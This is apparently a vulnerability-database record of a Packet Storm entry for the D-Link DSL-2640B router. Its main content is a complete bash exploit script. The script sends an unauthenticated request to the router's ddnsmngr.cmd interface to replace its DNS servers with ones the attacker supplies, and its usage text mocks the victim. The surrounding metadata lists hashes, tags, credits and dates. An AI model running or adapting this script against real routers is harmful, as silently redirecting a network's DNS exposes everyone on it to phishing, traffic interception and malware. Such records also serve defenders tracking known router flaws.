ID

VAR-E-201703-1035


TITLE

D-Link DSL-2640B Remote DNS Changer

Trust: 0.5

sources: PACKETSTORM: 141794

DESCRIPTION

D-Link DSL-2640B remote DNS changing exploit.

Trust: 0.5

sources: PACKETSTORM: 141794

AFFECTED PRODUCTS

vendor:d linkmodel:dsl-2640bscope: - version: -

Trust: 0.5

sources: PACKETSTORM: 141794

EXPLOIT

#!/bin/bash
#
# D-Link DSL-2640B Remote DNS Change Exploit
# Description:
# Different D-Link Routers are vulnerable to DNS change.
# The vulnerability exist in the web interface, which is
# accessible without authentication.
#
# Tested On Linux/ubuntu/Debian/All Other Linux
# Compatible Core i86
# Script Bash By Cryptolulz666
# Use This For Educational Purphose
if [[ $# -gt 3 || $# -lt 2 ]]; then
echo " D-Link DSL-2640B Remote DNS Change Exploit"
echo " ================================================================"
echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
echo " Example: $0 192.168.1.1 8.8.8.8"
echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright none public "
echo " security sucks ass "
echo " this server is vuln and you are owned "
exit;
fi
GET=`which GET 2>/dev/null`

if [ $? -ne 0 ]; then
echo " Error : libwww-perl not found =/"
exit;
fi

GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1

Trust: 0.5

sources: PACKETSTORM: 141794

EXPLOIT HASH

LOCAL

SOURCE

md5: 6291555d20880519f97df61582f0d473
sha-1: c8511d566680a2dfd0b2ce6a85e0ede8f0c570f4
sha-256: b82d3dc13d1e33a86fea85f7796a9cb127096e83601da1cf601b180a867a6c29
md5: 6291555d20880519f97df61582f0d473

Trust: 0.5

sources: PACKETSTORM: 141794

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 141794

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

sources: PACKETSTORM: 141794

CREDITS

cryptolulz666

Trust: 0.5

sources: PACKETSTORM: 141794

EXTERNAL IDS

db:PACKETSTORMid:141794

Trust: 0.5

sources: PACKETSTORM: 141794

SOURCES

db:PACKETSTORMid:141794

LAST UPDATE DATE

2022-07-27T09:21:29.666000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:141794date:2017-03-23T05:55:55